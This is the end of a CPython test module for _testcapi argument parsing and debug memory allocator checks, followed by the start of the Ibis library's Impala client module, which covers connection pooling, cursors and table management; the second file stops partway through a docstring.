self.assertRaises(ValueError, _testcapi.parse_tuple_and_keywords,
(), {}, b'', [''] * 42)
self.assertRaises(ValueError, _testcapi.parse_tuple_and_keywords,
(), {}, b'', [42])
def test_positional_only(self):
parse = _testcapi.parse_tuple_and_keywords
parse((1, 2, 3), {}, b'OOO', ['', '', 'a'])
parse((1, 2), {'a': 3}, b'OOO', ['', '', 'a'])
with self.assertRaisesRegex(TypeError,
r'function takes at least 2 positional arguments \(1 given\)'):
parse((1,), {'a': 3}, b'OOO', ['', '', 'a'])
parse((1,), {}, b'O|OO', ['', '', 'a'])
with self.assertRaisesRegex(TypeError,
r'function takes at least 1 positional arguments \(0 given\)'):
parse((), {}, b'O|OO', ['', '', 'a'])
parse((1, 2), {'a': 3}, b'OO$O', ['', '', 'a'])
with self.assertRaisesRegex(TypeError,
r'function takes exactly 2 positional arguments \(1 given\)'):
parse((1,), {'a': 3}, b'OO$O', ['', '', 'a'])
parse((1,), {}, b'O|O$O', ['', '', 'a'])
with self.assertRaisesRegex(TypeError,
r'function takes at least 1 positional arguments \(0 given\)'):
parse((), {}, b'O|O$O', ['', '', 'a'])
with self.assertRaisesRegex(SystemError, r'Empty parameter name after \$'):
parse((1,), {}, b'O|$OO', ['', '', 'a'])
with self.assertRaisesRegex(SystemError, 'Empty keyword'):
parse((1,), {}, b'O|OO', ['', 'a', ''])
@unittest.skipUnless(threading, 'Threading required for this test.')
class TestThreadState(unittest.TestCase):
@support.reap_threads
def test_thread_state(self):
# some extra thread-state tests driven via _testcapi
def target():
idents = []
def callback():
idents.append(threading.get_ident())
_testcapi._test_thread_state(callback)
a = b = callback
time.sleep(1)
# Check our main thread is in the list exactly 3 times.
self.assertEqual(idents.count(threading.get_ident()), 3,
"Couldn't find main thread correctly in the list")
target()
t = threading.Thread(target=target)
t.start()
t.join()
class Test_testcapi(unittest.TestCase):
def test__testcapi(self):
for name in dir(_testcapi):
if name.startswith('test_'):
with self.subTest("internal", name=name):
test = getattr(_testcapi, name)
test()
class PyMemDebugTests(unittest.TestCase):
PYTHONMALLOC = 'debug'
# '0x04c06e0' or '04C06E0'
PTR_REGEX = r'(?:0x)?[0-9a-fA-F]+'
def check(self, code):
with support.SuppressCrashReport():
out = assert_python_failure('-c', code,
PYTHONMALLOC=self.PYTHONMALLOC)
stderr = out.err
return stderr.decode('ascii', 'replace')
def test_buffer_overflow(self):
out = self.check('import _testcapi; _testcapi.pymem_buffer_overflow()')
regex = (r"Debug memory block at address p={ptr}: API 'm'\n"
r" 16 bytes originally requested\n"
r" The [0-9] pad bytes at p-[0-9] are FORBIDDENBYTE, as expected.\n"
r" The [0-9] pad bytes at tail={ptr} are not all FORBIDDENBYTE \(0x[0-9a-f]{{2}}\):\n"
r" at tail\+0: 0x78 \*\*\* OUCH\n"
r" at tail\+1: 0xfb\n"
r" at tail\+2: 0xfb\n"
r" .*\n"
r" The block was made by call #[0-9]+ to debug malloc/realloc.\n"
r" Data at p: cb cb cb .*\n"
r"\n"
r"Fatal Python error: bad trailing pad byte")
regex = regex.format(ptr=self.PTR_REGEX)
regex = re.compile(regex, flags=re.DOTALL)
self.assertRegex(out, regex)
def test_api_misuse(self):
out = self.check('import _testcapi; _testcapi.pymem_api_misuse()')
regex = (r"Debug memory block at address p={ptr}: API 'm'\n"
r" 16 bytes originally requested\n"
r" The [0-9] pad bytes at p-[0-9] are FORBIDDENBYTE, as expected.\n"
r" The [0-9] pad bytes at tail={ptr} are FORBIDDENBYTE, as expected.\n"
r" The block was made by call #[0-9]+ to debug malloc/realloc.\n"
r" Data at p: cb cb cb .*\n"
r"\n"
r"Fatal Python error: bad ID: Allocated using API 'm', verified using API 'r'\n")
regex = regex.format(ptr=self.PTR_REGEX)
self.assertRegex(out, regex)
@unittest.skipUnless(threading, 'Test requires a GIL (multithreading)')
def check_malloc_without_gil(self, code):
out = self.check(code)
expected = ('Fatal Python error: Python memory allocator called '
'without holding the GIL')
self.assertIn(expected, out)
def test_pymem_malloc_without_gil(self):
# Debug hooks must raise an error if PyMem_Malloc() is called
# without holding the GIL
code = 'import _testcapi; _testcapi.pymem_malloc_without_gil()'
self.check_malloc_without_gil(code)
def test_pyobject_malloc_without_gil(self):
# Debug hooks must raise an error if PyObject_Malloc() is called
# without holding the GIL
code = 'import _testcapi; _testcapi.pyobject_malloc_without_gil()'
self.check_malloc_without_gil(code)
class PyMemMallocDebugTests(PyMemDebugTests):
PYTHONMALLOC = 'malloc_debug'
@unittest.skipUnless(sysconfig.get_config_var('WITH_PYMALLOC') == 1,
'need pymalloc')
class PyMemPymallocDebugTests(PyMemDebugTests):
PYTHONMALLOC = 'pymalloc_debug'
@unittest.skipUnless(Py_DEBUG, 'need Py_DEBUG')
class PyMemDefaultTests(PyMemDebugTests):
# test default allocator of Python compiled in debug mode
PYTHONMALLOC = ''
if __name__ == "__main__":
unittest.main()
|
client.py | # Copyright 2014 Cloudera Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import re
import six
import time
import weakref
import traceback
import threading
from posixpath import join as pjoin
from collections import deque
import numpy as np
import pandas as pd
import ibis.util as util
import ibis.common as com
import ibis.expr.types as ir
import ibis.expr.rules as rlz
import ibis.expr.schema as sch
import ibis.expr.datatypes as dt
import ibis.expr.operations as ops
from ibis.config import options
from ibis.client import (Query, AsyncQuery, Database,
DatabaseEntity, SQLClient)
from ibis.compat import lzip, parse_version
from ibis.filesystems import HDFS, WebHDFS
from ibis.impala import udf, ddl
from ibis.impala.compat import impyla, ImpylaError, HS2Error
from ibis.impala.compiler import build_ast, ImpalaDialect
from ibis.util import log
from ibis.sql.compiler import DDL, DML
class ImpalaDatabase(Database):
def create_table(self, table_name, obj=None, **kwargs):
"""
Dispatch to ImpalaClient.create_table. See that function's docstring
for more
"""
return self.client.create_table(table_name, obj=obj,
database=self.name, **kwargs)
def list_udfs(self, like=None):
return self.client.list_udfs(like=self._qualify_like(like),
database=self.name)
def list_udas(self, like=None):
return self.client.list_udas(like=self._qualify_like(like),
database=self.name)
class ImpalaConnection(object):
"""
Database connection wrapper
"""
def __init__(self, pool_size=8, database='default', **params):
self.params = params
self.database = database
self.lock = threading.Lock()
self.options = {}
self.max_pool_size = pool_size
self._connections = weakref.WeakSet()
self.connection_pool = deque(maxlen=pool_size)
self.connection_pool_size = 0
self.ping()
def set_options(self, options):
self.options.update(options)
def close(self):
"""
Close all open Impyla sessions
"""
for impyla_connection in self._connections:
impyla_connection.close()
self._connections.clear()
self.connection_pool.clear()
def set_database(self, name):
self.database = name
def disable_codegen(self, disabled=True):
key = 'DISABLE_CODEGEN'
if disabled:
self.options[key] = '1'
elif key in self.options:
del self.options[key]
def execute(self, query, async=False):
if isinstance(query, (DDL, DML)):
query = query.compile()
cursor = self._get_cursor()
self.log(query)
try:
cursor.execute(query, async=async)
except Exception:
cursor.release()
self.error(
'Exception caused by {}: {}'.format(
query, traceback.format_exc()
)
)
raise
return cursor
def log(self, msg):
log(msg)
def error(self, msg):
self.log(msg)
def fetchall(self, query):
with self.execute(query) as cur:
results = cur.fetchall()
return results
def _get_cursor(self):
try:
cursor = self.connection_pool.popleft()
except IndexError: # deque is empty
if self.connection_pool_size < self.max_pool_size:
return self._new_cursor()
raise com.InternalError('Too many concurrent / hung queries')
else:
if (cursor.database != self.database or
cursor.options != self.options):
return self._new_cursor()
cursor.released = False
return cursor
def _new_cursor(self):
params = self.params.copy()
con = impyla.connect(database=self.database, **params)
self._connections.add(con)
# make sure the connection works
cursor = con.cursor(user=params.get('user'), convert_types=True)
cursor.ping()
wrapper = ImpalaCursor(cursor, self, con, self.database,
self.options.copy())
wrapper.set_options()
return wrapper
def ping(self):
self._get_cursor()._cursor.ping()
def release(self, cur):
self.connection_pool.append(cur)
class ImpalaCursor(object):
def __init__(self, cursor, con, impyla_con, database,
options):
self._cursor = cursor
self.con = con
self.impyla_con = impyla_con
self.database = database
self.options = options
self.released = False
self.con.connection_pool_size += 1
def __del__(self):
try:
self._close_cursor()
except Exception:
pass
with self.con.lock:
self.con.connection_pool_size -= 1
def _close_cursor(self):
try:
self._cursor.close()
except HS2Error as e:
# connection was closed elsewhere
already_closed_messages = [
'invalid query handle',
'invalid session',
]
for message in already_closed_messages:
if message in e.args[0].lower():
break
else:
raise
def __enter__(self):
return self
def __exit__(self, type, value, tb):
self.release()
def set_options(self):
for k, v in self.options.items():
query = 'SET {} = {!r}'.format(k, v)
self._cursor.execute(query)
@property
def description(self):
return self._cursor.description
def release(self):
if not self.released:
self.con.release(self)
self.released = True
def execute(self, stmt, async=False):
self._cursor.execute_async(stmt)
if async:
return
else:
self._wait_synchronous()
def _wait_synchronous(self):
# Wait to finish, but cancel if KeyboardInterrupt
from impala.hiveserver2 import OperationalError
loop_start = time.time()
def _sleep_interval(start_time):
elapsed = time.time() - start_time
if elapsed < 0.05:
return 0.01
elif elapsed < 1.0:
return 0.05
elif elapsed < 10.0:
return 0.1
elif elapsed < 60.0:
return 0.5
return 1.0
cur = self._cursor
try:
while True:
state = cur.status()
if self._cursor._op_state_is_error(state):
raise OperationalError("Operation is in ERROR_STATE")
if not cur._op_state_is_executing(state):
break
time.sleep(_sleep_interval(loop_start))
except KeyboardInterrupt:
print('Canceling query')
self.cancel()
raise
def is_finished(self):
return not self.is_executing()
def is_executing(self):
return self._cursor.is_executing()
def cancel(self):
self._cursor.cancel_operation()
def fetchone(self):
return self._cursor.fetchone()
def fetchall(self, columnar=False):
if columnar:
return self._cursor.fetchcolumnar()
else:
return self._cursor.fetchall()
class ImpalaQuery(Query):
def _fetch(self, cursor):
batches = cursor.fetchall(columnar=True)
names = [x[0] for x in cursor.description]
df = _column_batches_to_dataframe(names, batches)
# Ugly Hack for PY2 to ensure unicode values for string columns
if self.expr is not None:
# in case of metadata queries there is no expr and
# self.schema() would raise an exception
return self.schema().apply_to(df)
return df
def _column_batches_to_dataframe(names, batches):
from ibis.compat import zip as czip
cols = {}
for name, chunks in czip(names, czip(*[b.columns for b in batches])):
cols[name] = _chunks_to_pandas_array(chunks)
return pd.DataFrame(cols, columns=names)
def _chunks_to_pandas_array(chunks):
total_length = 0
have_nulls = False
for c in chunks:
total_length += len(c)
have_nulls = have_nulls or c.nulls.any()
type_ = chunks[0].data_type
numpy_type = _HS2_TTypeId_to_dtype[type_]
def fill_nonnull(target, chunks):
pos = 0
for c in chunks:
target[pos: pos + len(c)] = c.values
pos += len(c.values)
def fill(target, chunks, na_rep):
pos = 0
for c in chunks:
nulls = c.nulls.copy()
nulls.bytereverse()
bits = np.frombuffer(nulls.tobytes(), dtype='u1')
mask = np.unpackbits(bits).view(np.bool_)
k = len(c)
dest = target[pos: pos + k]
dest[:] = c.values
dest[mask[:k]] = na_rep
pos += k
if have_nulls:
if numpy_type in ('bool', 'datetime64[ns]'):
target = np.empty(total_length, dtype='O')
na_rep = np.nan
elif numpy_type.startswith('int'):
target = np.empty(total_length, dtype='f8')
na_rep = np.nan
else:
target = np.empty(total_length, dtype=numpy_type)
na_rep = np.nan
fill(target, chunks, na_rep)
else:
target = np.empty(total_length, dtype=numpy_type)
fill_nonnull(target, chunks)
return target
class ImpalaAsyncQuery(ImpalaQuery, AsyncQuery):
def __init__(self, client, ddl):
super(ImpalaAsyncQuery, self).__init__(client, ddl)
self._cursor = None
self._exception = None
self._execute_thread = None
self._execute_complete = False
self._operation_active = False
def __del__(self):
try:
self._cursor.release()
except AttributeError:
pass
def execute(self):
if self._operation_active:
raise com.IbisError('operation already active')
con = self.client.con
# XXX: there is codegen overhead somewhere which causes execute_async
# to block, unfortunately. This threading hack works around it
def _async_execute():
try:
self._cursor = con.execute(self.compiled_sql, async=True)
except Exception as e:
self._exception = e
self._execute_complete = True
self._execute_complete = False
self._operation_active = True
self._execute_thread = threading.Thread(target=_async_execute)
self._execute_thread.start()
return self
def _wait_execute(self):
if not self._operation_active:
raise com.IbisError('No active query')
if self._execute_thread.is_alive():
self._execute_thread.join()
elif self._exception is not None:
raise self._exception
def is_finished(self):
"""
Return True if the operation is finished
"""
from impala.error import ProgrammingError
self._wait_execute()
try:
return self._cursor.is_finished()
except ProgrammingError as e:
if 'state is not available' in e.args[0]:
return True
raise
def cancel(self):
"""
Cancel the query (or attempt to)
"""
self._wait_execute()
return self._cursor.cancel()
def status(self):
"""
Retrieve Impala query status
"""
self._wait_execute()
return self._cursor.status()
def wait(self, progress_bar=True):
raise NotImplementedError
def get_result(self):
"""
Presuming the operation is completed, return the cursor result as would
be returned by the synchronous query API
"""
self._wait_execute()
result = self._fetch(self._cursor)
return self._wrap_result(result)
_HS2_TTypeId_to_dtype = {
'BOOLEAN': 'bool',
'TINYINT': 'int8',
'SMALLINT': 'int16',
'INT': 'int32',
'BIGINT': 'int64',
'TIMESTAMP': 'datetime64[ns]',
'FLOAT': 'float32',
'DOUBLE': 'float64',
'STRING': 'object',
'DECIMAL': 'object',
'BINARY': 'object',
'VARCHAR': 'object',
'CHAR': 'object'
}
class ImpalaDatabaseTable(ops.DatabaseTable):
pass
class ImpalaTable(ir.TableExpr, DatabaseEntity):
"""
References a physical table in the Impala-Hive metastore
"""
@property
def _qualified_name(self):
return self.op().args[0]
@property
def _unqualified_name(self):
return self._match_name()[1]
@property
def _client(self):
return self.op().args[2]
def _match_name(self):
m = ddl.fully_qualified_re.match(self._qualified_name)
if not m:
raise com.IbisError('Cannot determine database name from {0}'
.format(self._qualified_name))
db, quoted, unquoted = m.groups()
return db, quoted or unquoted
@property
def _database(self):
return self._match_name()[0]
def compute_stats(self, incremental=False, async=False):
"""
Invoke Impala COMPUTE STATS command to compute column, table, and
partition statistics.
See also ImpalaClient.compute_stats
"""
return self._client.compute_stats(self._qualified_name,
incremental=incremental,
async=async)
def invalidate_metadata(self):
self._client.invalidate_metadata(self._qualified_name)
def refresh(self):
self._client.refresh(self._qualified_name)
def metadata(self):
"""
Return parsed results of DESCRIBE FORMATTED statement
Returns
-------
meta : TableMetadata
"""
return self._client.describe_formatted(self._qualified_name)
describe_formatted = metadata
def files(self):
"""
Return results of SHOW FILES statement
"""
return self._client.show_files(self._qualified_name)
def drop(self):
"""
Drop the table from the database
"""
self._client.drop_table_or_view(self._qualified_name)
def truncate(self):
self._client.truncate_table(self._qualified_name)
def insert(self, obj=None, overwrite=False, partition=None,
values=None, validate=True):
"""
Insert into Impala table. Wraps ImpalaClient.insert
Parameters
----------
obj : TableExpr or pandas DataFrame
overwrite : boolean, default False
If True, will replace existing contents of table
partition : list or dict, optional
For partitioned tables, indicate the partition that's being inserted
into, either with an ordered list of partition keys or a dict of
partition field name to value. For example for the partition
(year=2007, month=7), this can be either (2007, 7) or {'year': 2007,
'month': 7}.
validate : boolean, default True
If True, do more rigorous validation that schema of table being
inserted is compatible with the existing table
Examples
--------
>>> t.insert(table_expr) # doctest: +SKIP
# Completely overwrite contents
>>> t.insert(table_expr, overwrite=True) # doctest: +SKIP
"""
if isinstance(obj, pd.DataFrame):
from ibis.impala.pandas_interop import write_temp_dataframe
writer, expr = write_temp_dataframe(self._client, obj)
else:
expr = obj
if values is not None:
raise NotImplementedError
if validate:
existing_schema = self.schema()
insert_schema = expr.schema()
if not insert_schema.equals(existing_schema):
_validate_compatible(insert_schema, existing_schema)
if partition is not None:
partition_schema = self.partition_schema()
partition_schema_names = frozenset(partition_schema.names)
expr = expr.projection([
column for column in expr.columns
if column not in partition_schema_names
])
else:
partition_schema = None
ast = build_ast(expr, ImpalaDialect.make_context())
select = ast.queries[0]
statement = ddl.InsertSelect(self._qualified_name,
select,
partition=partition,
partition_schema=partition_schema,
overwrite=overwrite)
return self._execute(statement)
def load_data(self, path, overwrite=False, partition=None):
"""
Wraps the LOAD DATA DDL statement. Loads data into an Impala table by
physically moving data files.
Parameters
----------
path : string
overwrite : boolean, default False
Overwrite the existing data in the entire table or indicated
partition
partition : dict, optional
If specified, the partition must already exist
Returns
-------
query : ImpalaQuery
"""
if partition is not None:
partition_schema = self.partition_schema()
else:
partition_schema = None
stmt = ddl.LoadData(self._qualified_name, path,
partition=partition,
partition_schema=partition_schema)
return self._execute(stmt)
@property
def name(self):
return self.op().name
def rename(self, new_name, database=None):
"""
Rename table inside Impala. References to the old table are no longer
valid.
Parameters
----------
new_name : string
database : string
Returns
-------
renamed : ImpalaTable
"""
m = ddl.fully_qualified_re.match(new_name)
if not m and database is None:
database = self._database
statement = ddl.RenameTable(self._qualified_name, new_name,
new_database=database)
self._client._execute(statement)
op = self.op().change_name(statement.new_qualified_name)
return type(self)(op)
def _execute(self, stmt):
return self._client._execute(stmt)
@property
def is_partitioned(self):
"""
True if the table is partitioned
"""
return self.metadata().is_partitioned
def partition_schema(self):
"""
For partitioned tables, return the schema (names and types) for the
partition columns
Returns
-------
partition_schema : ibis Schema
"""
schema = self.schema()
name_to_type = dict(zip(schema.names, schema.types))
result = self.partitions()
partition_fields = []
for x in result.columns:
if x not in name_to_type:
break
partition_fields.append((x, name_to_type[x]))
pnames, ptypes = zip(*partition_fields)
return sch.Schema(pnames, ptypes)
def add_partition(self, spec, location=None):
"""
Add a new table partition, creating any new directories in HDFS if
necessary.
Partition parameters can be set in a single DDL statement, or you can
use alter_partition to set them after the fact.
Returns
-------
None (for now)
"""
part_schema = self.partition_schema()
stmt = ddl.AddPartition(self._qualified_name, spec, part_schema,
location=location)
return self._execute(stmt)
def alter(self, location=None, format=None, tbl_properties=None,
serde_properties=None):
"""
Change setting and parameters of the table.
Parameters
----------
location : string, optional
For partitioned tables, you may want the alter_partition function
format : string, optional
tbl_properties : dict, optional
serde_properties : dict, optional
Returns
-------
None (for now)
"""
def _run_ddl(**kwds):
stmt = ddl.AlterTable(self._qualified_name, **kwds)
return self._execute(stmt)
return self._alter_table_helper(_run_ddl, location=location,
format=format,
tbl_properties=tbl_properties,
serde_properties=serde_properties)
def set_external(self, is_external=True):
"""
Toggle EXTERNAL table property.
"""
self.alter(tbl_properties={'EXTERNAL': is_external})
def alter_partition(self, spec, location=None, format=None,
tbl_properties=None,
serde_properties=None):
"""
Change setting and parameters of an existing partition
Parameters
----------
spec : dict or list
The partition keys for the partition being modified
location : string, optional
format : string, optional
tbl_properties : dict, optional
serde_properties : dict, optional
Returns
-------
None (for now)
"""
part_schema = self.partition_schema()
def _run_ddl(**kwds):
stmt = ddl.AlterPartition(self._qualified_name, spec,
part_schema, **kwds)
return self._execute(stmt)
return self._alter_table_helper(_run_ddl, location=location,
format=format,
tbl_properties=tbl_properties,
serde_properties=serde_properties)
def _alter_table_helper(self, f, **alterations):
results = []
for k, v in alterations.items():
if v is None:
continue
result = f(**{k: v})
results.append(result)
return results
def drop_partition(self, spec):
"""
Drop an existing table partition
"""
part_schema = self.partition_schema()
stmt = ddl.DropPartition(self._qualified_name, spec, part_schema)
return self._execute(stmt)
def partitions(self):
"""
Return a pandas.DataFrame giving information about this table's
partitions. Raises an exception if the table is not partitioned.
Returns
-------
partitions : pandas.DataFrame
"""
return self._client.list_partitions(self._qualified_name)
def stats(self):
"""
Return results of SHOW TABLE STATS as a DataFrame. If not partitioned,
contains only one row
Returns
-------
stats : pandas.DataFrame
"""
return self._client.table_stats(self._qualified_name)
def column_stats(self):
"""
Return results of SHOW COLUMN STATS as a pandas DataFrame
Returns
-------
column_stats : pandas.DataFrame
"""
return self._client.column_stats(self._qualified_name)
class ImpalaClient(SQLClient):
"""
An Ibis client interface that uses Impala
"""
database_class = ImpalaDatabase
sync_query = ImpalaQuery
async_query = ImpalaAsyncQuery
dialect = ImpalaDialect
table_class = ImpalaDatabaseTable
table_expr_class = ImpalaTable
def __init__(self, con, hdfs_client=None, **params):
import hdfs
self.con = con
if isinstance(hdfs_client, hdfs.Client):
hdfs_client = WebHDFS(hdfs_client)
elif hdfs_client is not None and not isinstance(hdfs_client, HDFS):
raise TypeError(hdfs_client)
self._hdfs = hdfs_client
self._kudu = None
self._temp_objects = weakref.WeakValueDictionary()
self._ensure_temp_db_exists()
def _build_ast(self, expr, context):
return build_ast(expr, context)
def _get_hdfs(self):
if self._hdfs is None:
raise com.IbisError('No HDFS connection; must pass connection '
'using the hdfs_client argument to '
'ibis.impala.connect')
return self._hdfs
def _set_hdfs(self, hdfs):
if not isinstance(hdfs, HDFS):
raise TypeError('must be HDFS instance')
self._hdfs = hdfs
hdfs = property(fget=_get_hdfs, fset=_set_hdfs)
@property
def kudu(self):
from ibis.impala.kudu_support import KuduImpalaInterface
if self._kudu is None:
self._kudu = KuduImpalaInterface(self)
return self._kudu
def close(self):
"""
Close Impala connection and drop any temporary objects
"""
for k, v in self._temp_objects.items():
try:
v.drop()
except HS2Error:
pass
self.con.close()
def disable_codegen(self, disabled=True):
"""
Turn off or on LLVM codegen in Impala query execution
Parameters
----------
disabled : boolean, default True
To disable codegen, pass with no argument or True. To enable codegen,
pass False
"""
self.con.disable_codegen(disabled)
def log(self, msg):
log(msg)
def _fully_qualified_name(self, name, database):
if ddl._is_fully_qualified(name):
return name
database = database or self.current_database
return '{0}.`{1}`'.format(database, name)
def list_tables(self, like=None, database=None):
"""
List tables in the current (or indicated) database. Like the SHOW
TABLES command in the impala-shell.
Parameters
----------
like : string, default None
e.g. 'foo*' to match all tables starting with 'foo'
database : string, default None
If not passed, uses the current/default database
Returns
-------
tables : list of strings
"""
statement = 'SHOW TABLES'
if database:
statement += ' IN {0}'.format(database)
if like:
m = ddl.fully_qualified_re.match(like)
if m:
database, quoted, unquoted = m.groups()
like = quoted or unquoted
return self.list_tables(like=like, database=database)
statement += " LIKE '{0}'".format(like)
with self._execute(statement, results=True) as cur:
result = self._get_list(cur)
return result
def _get_list(self, cur):
tuples = cur.fetchall()
if len(tuples) > 0:
return list(lzip(*tuples)[0])
else:
return []
def set_database(self, name):
"""
Set the default database scope for client
"""
self.con.set_database(name)
def exists_database(self, name):
"""
Checks if a given database exists
Parameters
----------
name : string
Database name
Returns
-------
if_exists : boolean
"""
return len(self.list_databases(like=name)) > 0
def create_database(self, name, path=None, force=False):
"""
Create a new Impala database
Parameters
----------
name : string
Database name
path : string, default None
HDFS path where to store the database data; otherwise uses Impala
default
"""
if path:
# explicit mkdir ensures the user own the dir rather than impala,
# which is easier for manual cleanup, if necessary
self.hdfs.mkdir(path)
statement = ddl.CreateDatabase(name, path=path, can_exist=force)
return self._execute(statement)
def drop_database(self, name, force=False):
"""
Drop an Impala database
Parameters
----------
name : string
Database name
force : boolean, default False
If False and there are any tables in this database, raises an
IntegrityError
"""
if not force or self.exists_database(name):
tables = self.list_tables(database=name)
udfs = self.list_udfs(database=name)
udas = self.list_udas(database=name)
else:
tables = []
udfs = []
udas = []
if force:
for table in tables:
self.log('Dropping {0}'.format('{0}.{1}'.format(name, table)))
self.drop_table_or_view(table, database=name)
for func in udfs:
self.log('Dropping function {0}({1})'.format(func.name,
func.inputs))
self.drop_udf(func.name, input_types=func.inputs,
database=name, force=True)
for func in udas:
self.log('Dropping aggregate function {0}({1})'
.format(func.name, func.inputs))
self.drop_uda(func.name, input_types=func.inputs,
database=name, force=True)
else:
if len(tables) > 0 or len(udfs) > 0 or len(udas) > 0:
raise com.IntegrityError('Database {0} must be empty before '
'being dropped, or set '
'force=True'.format(name))
statement = ddl.DropDatabase(name, must_exist=not force)
return self._execute(statement)
def list_databases(self, like=None):
"""
List databases in the Impala cluster. Like the SHOW DATABASES command
in the impala-shell.
Parameters
----------
like : string, default None
e.g. 'foo*' to match all tables starting with 'foo'
Returns
-------
databases : list of strings
"""
statement = 'SHOW DATABASES'
if like:
statement += " LIKE '{0}'".format(like)
with self._execute(statement, results=True) as cur:
results = self._get_list(cur)
return results
def get_schema(self, table_name, database=None):
"""
Return a Schema object for the indicated table and database
Parameters
----------
table_name : string
May be fully qualified
database : string, default None
Returns
-------
schema : ibis Schema
"""
qualified_name = self._fully_qualified_name(table_name, database)
query = 'DESCRIBE {0}'.format(qualified_name)
tuples = self.con.fetchall(query)
names, types, comments = zip(*tuples)
ibis_types = []
for t in types:
t = t.lower()
t = udf.parse_type(t)
ibis_types.append(t)
names = [x.lower() for x in names]
return sch.Schema(names, ibis_types)
@property
def client_options(self):
return self.con.options
@property
def version(self):
with self._execute('select version()', results=True) as cur:
raw = self._get_list(cur)[0]
vstring = raw.split()[2]
return parse_version(vstring)
def get_options(self):
"""
Return current query options for the Impala session
"""
query = 'SET'
tuples = self.con.fetchall(query)
return dict(tuples)
def set_options(self, options):
self.con.set_options(options)
def reset_options(self):
# Must nuke all cursors
raise NotImplementedError
def set_compression_codec(self, codec):
"""
Parameters
"""
if codec is None:
codec = 'none'
else:
codec = codec.lower()
if codec not in ('none', 'gzip', 'snappy'):
raise ValueError('Unknown codec: {0}'.format(codec))
self.set_options({'COMPRESSION_CODEC': codec})
def exists_table(self, name, database=None):
"""
Determine if the indicated table or view exists
Parameters
----------
name : string
database : string, default None
Returns
-------
if_exists : boolean
"""
return len(self.list_tables(like=name, database=database)) > 0
def create_view(self, name, expr, database=None):
"""
Create an Impala view from a table expression
Parameters
----------
name : string
expr : ibis TableExpr
database : string, default None
"""
ast = self._build_ast(expr, ImpalaDialect.make_context())
select = ast.queries[0]
statement = ddl.CreateView(name, select, database=database)
return self._execute(statement)
def drop_view(self, name, database=None, force=False):
"""
Drop an Impala view
Parameters
----------
name : string
database : string, default None
force : boolean, default False
Database may throw exception if table does not exist
"""
statement = ddl.DropView(name, database=database,
must_exist=not force)
return self._execute(statement)
def create_table(self, table_name, obj=None, schema=None, database=None,
external=False, force=False,
# HDFS options
format='parquet', location=None,
partition=None, like_parquet=None):
"""
Create a new table in Impala using an Ibis table expression. This is
currently designed for tables whose data is stored in HDFS (or
eventually other filesystems).
Parameters
----------
table_name : string
obj : TableExpr or pandas.DataFrame, optional
If passed, creates table from select statement results
schema : ibis.Schema, optional
Mutually exclusive with expr, creates an empty table with a
particular schema
database : string, default None (optional)
force : boolean, default False
Do not create table if table with indicated name already exists
external : boolean, default False
Create an external table; Impala will not delete the underlying data
when the table is dropped
format : {'parquet'}
location : string, default None
Specify the directory location where Impala reads and writes files
for the table
partition : list of strings
Must pass a schema to use this. Cannot partition from an expression
(create-table-as-select)
like_parquet : string (HDFS path), optional
Can specify in lieu of a schema
Examples
--------
>>> con.create_table('new_table_name', table_expr) # doctest: +SKIP
"""
if like_parquet is not None:
raise NotImplementedError
if obj is not None:
if isinstance(obj, pd.DataFrame):
from ibis.impala.pandas_interop import write_temp_dataframe
writer, to_insert = write_temp_dataframe(self, obj)
else:
to_insert = obj
ast = self._build_ast(to_insert, ImpalaDialect.make_context())
select = ast.queries[0]
statement = ddl.CTAS(table_name, select,
database=database,
can_exist=force,
format=format,
external=external,
partition=partition,
path=location)
elif schema is not None:
statement = ddl.CreateTableWithSchema(
table_name, schema,
database=database,
format=format,
can_exist=force,
external=external,
path=location, partition=partition)
else:
raise com.IbisError('Must pass expr or schema')
return self._execute(statement)
def avro_file(self, hdfs_dir, avro_schema, name=None, database=None,
external=True, persist=False):
"""
Create a (possibly temporary) table to read a collection of Avro data.
Parameters
----------
hdfs_dir : string
Absolute HDFS path to directory containing avro files
avro_schema : dict
The Avro schema for the data as a Python dict
name : string, default None
database : string, default None
external : boolean, default True
persist : boolean, default False
Returns
-------
avro_table : ImpalaTable
"""
name, database = self._get_concrete_table_path(name, database,
persist=persist)
stmt = ddl.CreateTableAvro(name, hdfs_dir, avro_schema,
database=database,
external=external)
self._execute(stmt)
return self._wrap_new_table(name, database, persist)
def delimited_file(self, hdfs_dir, schema, name=None, database=None,
delimiter=',',
na_rep=None, escapechar=None, lineterminator=None,
external=True, persist=False):
"""
Interpret delimited text files (CSV / TSV / etc.) as an Ibis table. See
`parquet_file` for more exposition on what happens under the hood.
Parameters
----------
hdfs_dir : string
HDFS directory name containing delimited text files
schema : ibis Schema
name : string, default None
Name for temporary or persistent table; otherwise random one
generated
database : string
Database to create the (possibly temporary) table in
delimiter : length-1 string, default ','
Pass None if there is no delimiter
escapechar : length-1 string
Character used to escape special characters
lineterminator : length-1 string
Character used to delimit lines
external : boolean, default True
Create table as EXTERNAL (data will not be deleted on drop). Not that
if persist=False and external=False, whatever data you reference will
be deleted
persist : boolean, default False
If True, do not delete the table upon garbage collection of ibis
table object
Returns
-------
delimited_table : ImpalaTable
"""
name, database = self._get_concrete_table_path(name, database,
persist=persist)
stmt = ddl.CreateTableDelimited(name, hdfs_dir, schema,
database=database,
delimiter=delimiter,
external=external,
na_rep=na_rep,
lineterminator=lineterminator,
escapechar=escapechar)
self._execute(stmt)
return self._wrap_new_table(name, database, persist)
def parquet_file(self, hdfs_dir, schema=None, name=None, database=None,
external=True, like_file=None, like_table=None,
persist=False):
"""
Make indicated parquet file in HDFS available as an Ibis table.
The table created can be optionally named and persisted, otherwise a
unique name will be generated. Temporarily, for any non-persistent
external table created by Ibis we will attempt to drop it when the
underlying object is garbage collected (or the Python interpreter shuts
down normally).
Parameters
----------
hdfs_dir : string
Path in HDFS
schema : ibis Schema
If no schema provided, and neither of the like_* argument is passed,
one will be inferred from one of the parquet files in the directory.
like_file : string
Absolute path to Parquet file in HDFS to use for schema
definitions. An alternative to having to supply an explicit schema
like_table : string
Fully scoped and escaped string to an Impala table whose schema we
will use for the newly created table.
name : string, optional
random unique name generated otherwise
database : string, optional
Database to create the (possibly temporary) table in
external : boolean, default True
If a table is external, the referenced data will not be deleted when
the table is dropped in Impala. Otherwise (external=False) Impala
takes ownership of the Parquet file.
persist : boolean, default False
